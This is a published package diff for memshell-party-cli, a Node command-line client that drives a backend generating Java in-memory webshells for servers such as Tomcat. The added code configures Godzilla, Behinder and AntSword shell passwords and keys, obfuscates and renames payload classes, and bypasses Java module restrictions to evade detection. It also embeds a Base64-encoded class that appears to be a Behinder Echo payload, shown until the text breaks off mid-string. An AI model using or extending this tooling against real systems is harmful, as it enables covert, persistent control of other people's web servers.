memshell-party-cli 0.7.0 → 0.8.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/dist/cli.js CHANGED
@@ -1,7 +1,7 @@
1
1
  #!/usr/bin/env node
2
2
 
3
3
  // src/cli.ts
4
- import { Command as Command11, CommanderError as CommanderError2 } from "commander";
4
+ import { Command as Command12, CommanderError as CommanderError2 } from "commander";
5
5
 
6
6
  // src/api/client.ts
7
7
  var ApiError = class extends Error {
@@ -18,6 +18,7 @@ var MemPartyClient = class {
18
18
  baseUrl;
19
19
  fetchImpl;
20
20
  timeoutMs;
21
+ generationApiVersion;
21
22
  constructor(options) {
22
23
  this.baseUrl = options.baseUrl.replace(/\/+$/, "");
23
24
  this.fetchImpl = options.fetch ?? globalThis.fetch;
@@ -29,8 +30,14 @@ var MemPartyClient = class {
29
30
  }
30
31
  }
31
32
  // ---------- config ----------
32
- getServers() {
33
- return this.request("GET", "/api/config/servers");
33
+ async getServers() {
34
+ const config = await this.getConfig();
35
+ return Object.fromEntries(
36
+ Object.entries(config).map(([server, tools]) => [
37
+ server,
38
+ [...new Set(Object.values(tools).flat())]
39
+ ])
40
+ );
34
41
  }
35
42
  getConfig() {
36
43
  return this.request("GET", "/api/config");
@@ -38,28 +45,68 @@ var MemPartyClient = class {
38
45
  getPackerTree() {
39
46
  return this.request("GET", "/api/config/packers/tree");
40
47
  }
41
- getPackers() {
42
- return this.request("GET", "/api/config/packers");
48
+ async getPackers() {
49
+ try {
50
+ return await this.request("GET", "/api/config/packers");
51
+ } catch (err) {
52
+ if (!(err instanceof ApiError) || err.status !== 404) throw err;
53
+ return (await this.getPackerTree()).map((packer) => packer.name);
54
+ }
43
55
  }
44
- getCommandConfigs() {
56
+ async getCommandConfigs() {
57
+ const configs = await this.getShellToolConfigs();
58
+ const command = configs.find((config) => config.tool === "Command");
59
+ if (command) {
60
+ return {
61
+ encryptors: command.params.find((param) => param.name === "encryptor")?.options ?? [],
62
+ implementationClasses: command.params.find((param) => param.name === "implementationClass")?.options ?? []
63
+ };
64
+ }
45
65
  return this.request("GET", "/api/config/command/configs");
46
66
  }
47
- /**
48
- * Servers the ResponseBody probe can write a response on.
49
- * Only exists on backend >= 2.9.0 — callers should fall back to the full
50
- * server list when this endpoint 404s.
51
- */
52
- getProbeResponseBodyServers() {
53
- return this.request("GET", "/api/config/probe/response-body/servers");
67
+ async getShellToolConfigs() {
68
+ try {
69
+ return await this.request("GET", "/api/config/shelltool/configs");
70
+ } catch (err) {
71
+ if (err instanceof ApiError && err.status === 404) return [];
72
+ throw err;
73
+ }
74
+ }
75
+ getObfuscationOptions() {
76
+ return this.request("GET", "/api/config/obfuscation/options");
77
+ }
78
+ async getProbeResponseServers() {
79
+ try {
80
+ return await this.request("GET", "/api/config/probe/response/servers");
81
+ } catch (err) {
82
+ if (err instanceof ApiError && err.status === 404) return [];
83
+ throw err;
84
+ }
54
85
  }
55
86
  getVersion() {
56
87
  return this.request("GET", "/api/version");
57
88
  }
58
89
  // ---------- generation ----------
59
- generateMemShell(req) {
60
- return this.request("POST", "/api/memshell/generate", {
61
- json: req
62
- });
90
+ async generateMemShell(req) {
91
+ const apiVersion = await this.getGenerationApiVersion();
92
+ try {
93
+ return await this.request("POST", "/api/memshell/generate", {
94
+ json: apiVersion === "v2" ? toLegacyMemShellRequest(req) : req
95
+ });
96
+ } catch (err) {
97
+ if (apiVersion === "v3" && err instanceof ApiError && /Unsupported packer:/.test(err.message)) {
98
+ throw new ApiError(
99
+ `${err.message}. On v3, packer groups are only categories; choose a leaf from 'memparty config packers' (e.g. DefaultBase64, not Base64).`,
100
+ err.status,
101
+ err.url
102
+ );
103
+ }
104
+ throw err;
105
+ }
106
+ }
107
+ getGenerationApiVersion() {
108
+ this.generationApiVersion ??= this.getVersion().then((version2) => Number(version2.currentVersion.split(".")[0]) >= 3 ? "v3" : "v2").catch(() => "v3");
109
+ return this.generationApiVersion;
63
110
  }
64
111
  generateProbe(req) {
65
112
  return this.request("POST", "/api/probe/generate", {
@@ -73,6 +120,16 @@ var MemPartyClient = class {
73
120
  raw: true
74
121
  });
75
122
  }
123
+ decodeBytecode(classBase64) {
124
+ return this.request("POST", "/api/bytecode/decode", {
125
+ text: classBase64
126
+ });
127
+ }
128
+ transformBytecode(req) {
129
+ return this.request("POST", "/api/bytecode/transform", {
130
+ json: req
131
+ });
132
+ }
76
133
  // ---------- transport ----------
77
134
  async request(method, path, opts = {}) {
78
135
  const url = `${this.baseUrl}${path}`;
@@ -126,6 +183,26 @@ var MemPartyClient = class {
126
183
  return JSON.parse(rawText);
127
184
  }
128
185
  };
186
+ function toLegacyMemShellRequest(req) {
187
+ const { pass, key, paramName, template, ...common } = req.shellToolConfig;
188
+ const { obfuscation: _obfuscation, obfuscationScope: _obfuscationScope, ...shellConfig } = req.shellConfig;
189
+ return {
190
+ ...req,
191
+ shellConfig: {
192
+ ...shellConfig,
193
+ probe: shellConfig.probe ? true : void 0
194
+ },
195
+ shellToolConfig: {
196
+ ...common,
197
+ godzillaPass: req.shellConfig.shellTool.startsWith("Godzilla") ? pass : void 0,
198
+ godzillaKey: key,
199
+ commandParamName: paramName,
200
+ commandTemplate: template,
201
+ behinderPass: req.shellConfig.shellTool === "Behinder" ? pass : void 0,
202
+ antSwordPass: req.shellConfig.shellTool === "AntSword" ? pass : void 0
203
+ }
204
+ };
205
+ }
129
206
 
130
207
  // src/core/config.ts
131
208
  import { readFileSync } from "fs";
@@ -193,6 +270,8 @@ Examples:
193
270
  $ memparty config tools Tomcat # tools available on one server (values for gen -t)
194
271
  $ memparty config packers # packer tree (values for gen -p)
195
272
  $ memparty config command # Command-tool encryptors and impl classes
273
+ $ memparty config tool-configs # v3+ tool parameter names and enum values
274
+ $ memparty config obfuscation # v3+ obfuscation option reference
196
275
  `
197
276
  );
198
277
  config.command("servers").description("List supported servers and their shell types").option("--json", "output raw JSON").action(async (opts, cmd) => {
@@ -228,6 +307,31 @@ Examples:
228
307
  ${p.children.join(", ")}` : p.name)
229
308
  );
230
309
  });
310
+ config.command("tool-configs").description("List shell tool parameters (empty for v2 backends)").option("--json", "output raw JSON").action(async (opts, cmd) => {
311
+ const client = createClient(cmd.optsWithGlobals());
312
+ const configs = await client.getShellToolConfigs();
313
+ printJsonOrLines(
314
+ configs,
315
+ opts.json,
316
+ () => configs.length ? configs.flatMap((config2) => [
317
+ config2.tool,
318
+ ...config2.params.map(
319
+ (param) => ` ${param.name} (${param.type})${param.options.length ? `: ${param.options.join(", ")}` : ""}`
320
+ )
321
+ ]) : ["No v3 shell-tool config endpoint on this backend."]
322
+ );
323
+ });
324
+ config.command("obfuscation").description("List obfuscation options (MemShellParty v3+)").option("--json", "output raw JSON").action(async (opts, cmd) => {
325
+ const client = createClient(cmd.optsWithGlobals());
326
+ const options = await client.getObfuscationOptions();
327
+ printJsonOrLines(
328
+ options,
329
+ opts.json,
330
+ () => options.map(
331
+ (option) => Object.entries(option).map(([key, value]) => `${key}=${JSON.stringify(value)}`).join(" ")
332
+ )
333
+ );
334
+ });
231
335
  config.command("command").description("List Command-tool encryptors and implementation classes").option("--json", "output raw JSON").action(async (opts, cmd) => {
232
336
  const client = createClient(cmd.optsWithGlobals());
233
337
  const cc = await client.getCommandConfigs();
@@ -238,9 +342,160 @@ Examples:
238
342
  });
239
343
  }
240
344
 
241
- // src/commands/connect.ts
345
+ // src/commands/bytecode.ts
346
+ import { readFileSync as readFileSync2 } from "fs";
242
347
  import { Option } from "commander";
243
348
 
349
+ // src/core/output.ts
350
+ import { writeFileSync } from "fs";
351
+ var BINARY_EXTENSIONS = [".class", ".jar", ".zip", ".ser", ".bin"];
352
+ function hasBinaryExtension(path) {
353
+ const lower = path.toLowerCase();
354
+ return BINARY_EXTENSIONS.some((ext) => lower.endsWith(ext));
355
+ }
356
+ function shouldDecode(opts) {
357
+ if (opts.decode !== void 0) return opts.decode;
358
+ if (opts.outFile) return hasBinaryExtension(opts.outFile);
359
+ return false;
360
+ }
361
+ function emitPayload(payload, opts, sinks = {}) {
362
+ const writeFile = sinks.writeFile ?? ((p, d) => writeFileSync(p, d));
363
+ const writeStdout = sinks.writeStdout ?? ((d) => process.stdout.write(d));
364
+ const decoded = shouldDecode(opts);
365
+ if (opts.outFile) {
366
+ if (decoded) {
367
+ const buf = Buffer.from(payload, "base64");
368
+ writeFile(opts.outFile, buf);
369
+ return { destination: opts.outFile, size: buf.length, decoded: true };
370
+ }
371
+ writeFile(opts.outFile, payload);
372
+ return { destination: opts.outFile, size: Buffer.byteLength(payload), decoded: false };
373
+ }
374
+ if (decoded) {
375
+ const buf = Buffer.from(payload, "base64");
376
+ writeStdout(buf.toString("binary"));
377
+ return { destination: "stdout", size: buf.length, decoded: true };
378
+ }
379
+ writeStdout(payload.endsWith("\n") ? payload : `${payload}
380
+ `);
381
+ return { destination: "stdout", size: payload.length, decoded: false };
382
+ }
383
+ function hasMultiplePackResults(r) {
384
+ return r.allPackResults != null && Object.keys(r.allPackResults).length > 0;
385
+ }
386
+ function emitSinglePackResult(r, opts, sinks = {}) {
387
+ if (hasMultiplePackResults(r)) {
388
+ const n = Object.keys(r.allPackResults).length;
389
+ throw new Error(
390
+ `the aggregate packer returned ${n} variants at once \u2014 cannot write them to a single file. Pick a leaf packer instead (see 'memparty config packers', e.g. DefaultBase64).`
391
+ );
392
+ }
393
+ if (r.packResult === void 0) {
394
+ throw new Error("Server returned no packResult.");
395
+ }
396
+ return emitPayload(r.packResult, opts, sinks);
397
+ }
398
+
399
+ // src/core/obfuscation.ts
400
+ function parseObfuscationOptions(input3) {
401
+ if (input3 === void 0 || input3.trim() === "") return void 0;
402
+ const options = {};
403
+ for (const entry of input3.split(/[,\n]/)) {
404
+ const separator = entry.indexOf("=");
405
+ const key = entry.slice(0, separator < 0 ? void 0 : separator).trim();
406
+ if (separator < 0 || key === "") {
407
+ throw new Error(`Invalid obfuscation option "${entry.trim()}": expected key=value.`);
408
+ }
409
+ if (Object.hasOwn(options, key)) {
410
+ throw new Error(`Duplicate obfuscation option "${key}".`);
411
+ }
412
+ const value = entry.slice(separator + 1).trim();
413
+ if (value === "true" || value === "false") {
414
+ options[key] = value === "true";
415
+ } else if (/^-?(?:\d+|\d*\.\d+)$/.test(value)) {
416
+ options[key] = Number(value);
417
+ } else {
418
+ options[key] = value;
419
+ }
420
+ }
421
+ return options;
422
+ }
423
+
424
+ // src/commands/bytecode.ts
425
+ function classInput(base64, file) {
426
+ if (file !== void 0 && base64 !== void 0) {
427
+ throw new Error("Pass either a Base64 argument or --file, not both.");
428
+ }
429
+ if (file !== void 0) return readFileSync2(file).toString("base64");
430
+ if (base64 !== void 0) return base64;
431
+ if (process.stdin.isTTY) {
432
+ throw new Error("Provide Base64 as an argument, --file <path>, or Base64 on stdin.");
433
+ }
434
+ return readFileSync2(0, "utf8");
435
+ }
436
+ function buildBytecodeTransformRequest(base64, opts) {
437
+ const renamePackage = opts.renamePackage || opts.relocateFrom !== void 0 || opts.relocateTo !== void 0;
438
+ if (renamePackage && (!opts.relocateFrom || !opts.relocateTo)) {
439
+ throw new Error("Package relocation requires both --relocate-from and --relocate-to.");
440
+ }
441
+ const obfuscation = opts.obfuscate || opts.obfuscationOptions !== void 0 ? { enabled: true, options: parseObfuscationOptions(opts.obfuscationOptions) } : void 0;
442
+ return {
443
+ classBytesBase64: base64,
444
+ ...opts.packer === void 0 ? {} : { packer: opts.packer },
445
+ ...opts.bypassModule === void 0 ? {} : { byPassJavaModule: opts.bypassModule },
446
+ ...opts.staticInitialize === void 0 ? {} : { staticInitialize: opts.staticInitialize },
447
+ ...opts.shrink === void 0 ? {} : { shrink: opts.shrink },
448
+ ...renamePackage ? { renamePackage, relocateFrom: opts.relocateFrom, relocateTo: opts.relocateTo } : {},
449
+ ...opts.entryMethod === void 0 ? {} : { entryMethod: opts.entryMethod },
450
+ ...opts.newClassName === void 0 ? {} : { newClassName: opts.newClassName },
451
+ ...opts.randomName === void 0 ? {} : { randomName: opts.randomName },
452
+ ...obfuscation === void 0 ? {} : { obfuscation },
453
+ ...opts.probeMethod === void 0 ? {} : {
454
+ server: opts.server ?? "Unknown",
455
+ probe: {
456
+ probeMethod: opts.probeMethod,
457
+ probeContent: "Bytecode",
458
+ respHeaderName: opts.respHeaderName
459
+ }
460
+ }
461
+ };
462
+ }
463
+ function registerBytecodeCommand(program) {
464
+ const command = program.command("bytecode").description("Decode and transform arbitrary Java classes (MemShellParty v3+)");
465
+ command.command("decode").description("Decode Base64/GzipBase64 class bytes and print class metadata").argument("[base64]", "Base64/GzipBase64 class bytes (omit when using --file or stdin)").option("-f, --file <path>", "read a .class file from disk").option("--json", "print the full JSON response").addHelpText("after", "\nExamples:\n $ memparty bytecode decode -f Payload.class\n $ cat Payload.class | memparty bytecode decode --json\n").action(async (base64, opts, cmd) => {
466
+ const client = createClient(cmd.optsWithGlobals());
467
+ const result = await client.decodeBytecode(classInput(base64, opts.file));
468
+ if (opts.json) process.stdout.write(`${JSON.stringify(result, null, 2)}
469
+ `);
470
+ else process.stdout.write(`${result.className} (${result.size} bytes)
471
+ ${result.classBytesBase64Str}
472
+ `);
473
+ });
474
+ command.command("transform").description("Rename, relocate, instrument, obfuscate or pack a class").argument("[base64]", "Base64/GzipBase64 class bytes (omit when using --file or stdin)").option("-f, --file <path>", "read a .class file from disk").option("-p, --packer <packer>", "packer, e.g. DefaultBase64, JSP").option("--bypass-module", "bypass Java module restrictions").option("--static-initialize", "call the no-argument constructor from a static initializer").option("--no-shrink", "keep bytecode debug information").option("--rename-package", "enable package relocation").option("--relocate-from <prefix>", "original package prefix, e.g. javax.servlet").option("--relocate-to <prefix>", "replacement package prefix, e.g. jakarta.servlet").option("--entry-method <signature>", "add an entry method, e.g. 'public static void main(String[] args)'").option("--new-class-name <name>", "new simple or fully-qualified class name").option("--random-name", "generate a random class and package name").option("--obfuscate", "enable class obfuscation").option("--obfuscation-options <options>", "obfuscation overrides: key=value, comma-separated").option("--server <server>", "response-wrapper server (default: Unknown)").addOption(new Option("--probe-method <method>", "embed a Bytecode response wrapper").choices(["ResponseBody", "ResponseHeader"])).option("--resp-header-name <name>", "ResponseHeader response header (random when omitted)").option("-o, --output <file>", "write the packed result, or the transformed class when no packer is given").option("--json", "print the full JSON response; outputFile is added when -o is used").addHelpText("after", "\nExamples:\n $ memparty bytecode transform -f Payload.class --relocate-from javax.servlet --relocate-to jakarta.servlet -o JakartaPayload.class\n $ memparty bytecode transform -f Payload.class --entry-method 'public static void main(String[] args)' -o Entry.class\n $ memparty bytecode transform -f Payload.class --server Tomcat --probe-method ResponseHeader -p DefaultBase64 -o Probe.class --json\n").action(async (base64, opts, cmd) => {
475
+ const client = createClient(cmd.optsWithGlobals());
476
+ const request = buildBytecodeTransformRequest(classInput(base64, opts.file), opts);
477
+ const result = await client.transformBytecode(request);
478
+ const outputFile = opts.output === void 0 ? void 0 : result.packResult !== void 0 ? emitSinglePackResult(result, { outFile: opts.output }) : emitPayload(result.classBytesBase64Str, { outFile: opts.output, decode: true });
479
+ if (opts.json) {
480
+ process.stdout.write(`${JSON.stringify(outputFile === void 0 ? result : { ...result, outputFile }, null, 2)}
481
+ `);
482
+ return;
483
+ }
484
+ logInfo(`class: ${result.className} (${result.size} bytes)`);
485
+ if (outputFile !== void 0) {
486
+ logInfo(`wrote ${outputFile.size} bytes to ${outputFile.destination}`);
487
+ } else if (result.packResult !== void 0) {
488
+ emitSinglePackResult(result, {});
489
+ } else {
490
+ process.stdout.write(`${result.classBytesBase64Str}
491
+ `);
492
+ }
493
+ });
494
+ }
495
+
496
+ // src/commands/connect.ts
497
+ import { Option as Option2 } from "commander";
498
+
244
499
  // src/connect/assets.ts
245
500
  var ECHO_CLASS_B64 = "yv66vgAAADQBRwoADwCtBwCuCgACAK0KAGEArwgAsAgAsQsASwCyCACzCQBhALQJAGEAtQoADwC2CAC3BwC4CgANALkHALoKALsAvAgAcwcAgAoAYQC9CAC+CgAeAL8KAGEAwAgAwQgAwgcAwwoAGQDECgAZAMUJAGEAxggAxwcAyAgAyQoADwDKCADLBwDMCADNCgAiAM4IAM8KACcA0AcA0QoAJwDSCgAnANMHANQKACoArQoAKgDVCgAqANYKAGEA1woAHgDYBwDZCgAwAK0IANoKANsA3AgA3QoAMADeCwBLAN8LAOAA4QsAlADiCwCUAOMIAOQIAOUKADAAygsASwDmCADnCADoCgAeAOkKADAA6goAMADrCADsCgANAO0IAO4KAB4A7wgA8AkAYQDxCADyCADzBwD0CAD1CAD2CAD3CAD4CAD5CAD6CgANAPsIAPwIAP0HAP4IAP8KAA0BAAgAjwgBAQoAHgECCAEDCgAeAQQKAQUBBgcBBwoAXgCtCgBeAQgHAQkBAAdjb250ZW50AQASTGphdmEvbGFuZy9TdHJpbmc7AQALcGF5bG9hZEJvZHkBAAdSZXF1ZXN0AQASTGphdmEvbGFuZy9PYmplY3Q7AQAIUmVzcG9uc2UBAAdTZXNzaW9uAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAClMbmV0L3JlYmV5b25kL2JlaGluZGVyL3BheWxvYWQvamF2YS9FY2hvOwEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEAAnNvAQAFd3JpdGUBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAANvYmoBAAZyZXN1bHQBAA9MamF2YS91dGlsL01hcDsBABZMb2NhbFZhcmlhYmxlVHlwZVRhYmxlAQA1TGphdmEvdXRpbC9NYXA8TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7PjsBAA1TdGFja01hcFRhYmxlAQAHRW5jcnlwdAEABihbQilbQgEAAmJzAQACW0IBAANrZXkBAANyYXcBAAhza2V5U3BlYwEAIUxqYXZheC9jcnlwdG8vc3BlYy9TZWNyZXRLZXlTcGVjOwEABmNpcGhlcgEAFUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEACWVuY3J5cHRlZAEAA2JvcwEAH0xqYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbTsBAApFeGNlcHRpb25zAQAJYnVpbGRKc29uAQAkKExqYXZhL3V0aWwvTWFwO1opTGphdmEvbGFuZy9TdHJpbmc7AQAFdmFsdWUBAAZlbnRpdHkBAAZlbmNvZGUBAAFaAQACc2IBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAHdmVyc2lvbgcBCgEACVNpZ25hdHVyZQEASihMamF2YS91dGlsL01hcDxMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzs+O1opTGphdmEvbGFuZy9TdHJpbmc7AQALZmlsbENvbnRleHQBABUoTGphdmEvbGFuZy9PYmplY3Q7KVYBAAZvYmpNYXABADVMamF2YS91dGlsL01hcDxMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL09iamVjdDs+OwEADGJhc2U2NGVuY29kZQEAFihbQilMamF2YS9sYW5nL1N0cmluZzsBAAdFbmNvZGVyAQAGQmFzZTY0AQARTGphdmEvbGFuZy9DbGFzczsBAAVlcnJvcgEAFUxqYXZhL2xhbmcvVGhyb3dhYmxlOwEABGRhdGEBAAhnZXRNYWdpYwEABCgpW0IBAAFpAQABSQEACG1hZ2ljTnVtAQAGcmFuZG9tAQASTGphdmEvdXRpbC9SYW5kb207AQADYnVmAQAKU291cmNlRmlsZQEACUVjaG8uamF2YQwAaQBqAQAXamF2YS91dGlsL0xpbmtlZEhhc2hNYXAMAJcAmAEABnN0YXR1cwEAB3N1Y2Nlc3MMAQsBDAEAA21zZwwAYgBjDABnAGYMAQ0BDgEAD2dldE91dHB1dFN0cmVhbQEAD2phdmEvbGFuZy9DbGFzcwwBDwEQAQAQamF2YS9sYW5nL09iamVjdAcBEQwBEgETDACLAIwBAAVVVEYtOAwBFAEVDAB9AH4BAAVmbHVzaAEABWNsb3NlAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwBFgBqDAEXARgMAGgAZgEADGdldEF0dHJpYnV0ZQEAEGphdmEvbGFuZy9TdHJpbmcBAAF1DAEZARgBAAV1dGYtOAEAH2phdmF4L2NyeXB0by9zcGVjL1NlY3JldEtleVNwZWMBAANBRVMMAGkBGgEAFEFFUy9FQ0IvUEtDUzVQYWRkaW5nDAEbARwBABNqYXZheC9jcnlwdG8vQ2lwaGVyDAEdAR4MAR8AfgEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtDABzASAMASEApAwAmwCcDAEUAKQBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgEADGphdmEudmVyc2lvbgcBIgwBIwEkAQABewwBJQEmDAEnASgHASkMASoBKwwBLAEtDAEuAS8BAAEiAQADIjoiDAEwATEBAAIiLAEAASwMATIBMwwBNAE1DAE2ATcBAAF9DAE4ARgBAAtQYWdlQ29udGV4dAwBOQE6AQAKZ2V0UmVxdWVzdAwAZQBmAQALZ2V0UmVzcG9uc2UBAApnZXRTZXNzaW9uAQANamF2YS91dGlsL01hcAEAB3Nlc3Npb24BAAhyZXNwb25zZQEAB3JlcXVlc3QBABRzZXRDaGFyYWN0ZXJFbmNvZGluZwEAAAEAEGphdmEudXRpbC5CYXNlNjQMATsBPAEACmdldEVuY29kZXIBAA5lbmNvZGVUb1N0cmluZwEAE2phdmEvbGFuZy9UaHJvd2FibGUBABZzdW4ubWlzYy5CQVNFNjRFbmNvZGVyDAE9AS8BAAEKDAE+AT8BAAENDAFAAUEHAUIMAUMBRAEAEGphdmEvdXRpbC9SYW5kb20MAUUBRgEAJ25ldC9yZWJleW9uZC9iZWhpbmRlci9wYXlsb2FkL2phdmEvRWNobwEAEmphdmEvdXRpbC9JdGVyYXRvcgEAA3B1dAEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEACGdldEJ5dGVzAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEAD3ByaW50U3RhY2tUcmFjZQEACmdldE1lc3NhZ2UBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACHRvU3RyaW5nAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAAtnZXRJbnN0YW5jZQEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmF4L2NyeXB0by9DaXBoZXI7AQAEaW5pdAEAFyhJTGphdmEvc2VjdXJpdHkvS2V5OylWAQAHZG9GaW5hbAEABShbQilWAQALdG9CeXRlQXJyYXkBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEABmtleVNldAEAESgpTGphdmEvdXRpbC9TZXQ7AQANamF2YS91dGlsL1NldAEACGl0ZXJhdG9yAQAWKClMamF2YS91dGlsL0l0ZXJhdG9yOwEAB2hhc05leHQBAAMoKVoBAARuZXh0AQAUKClMamF2YS9sYW5nL09iamVjdDsBAANnZXQBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEACGVuZHNXaXRoAQAVKExqYXZhL2xhbmcvU3RyaW5nOylaAQAGbGVuZ3RoAQADKClJAQAJc2V0TGVuZ3RoAQAEKEkpVgEAB2dldE5hbWUBAAdpbmRleE9mAQAVKExqYXZhL2xhbmcvU3RyaW5nOylJAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAtuZXdJbnN0YW5jZQEAB3JlcGxhY2UBAEQoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7TGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KUxqYXZhL2xhbmcvU3RyaW5nOwEACXN1YnN0cmluZwEAFihJSSlMamF2YS9sYW5nL1N0cmluZzsB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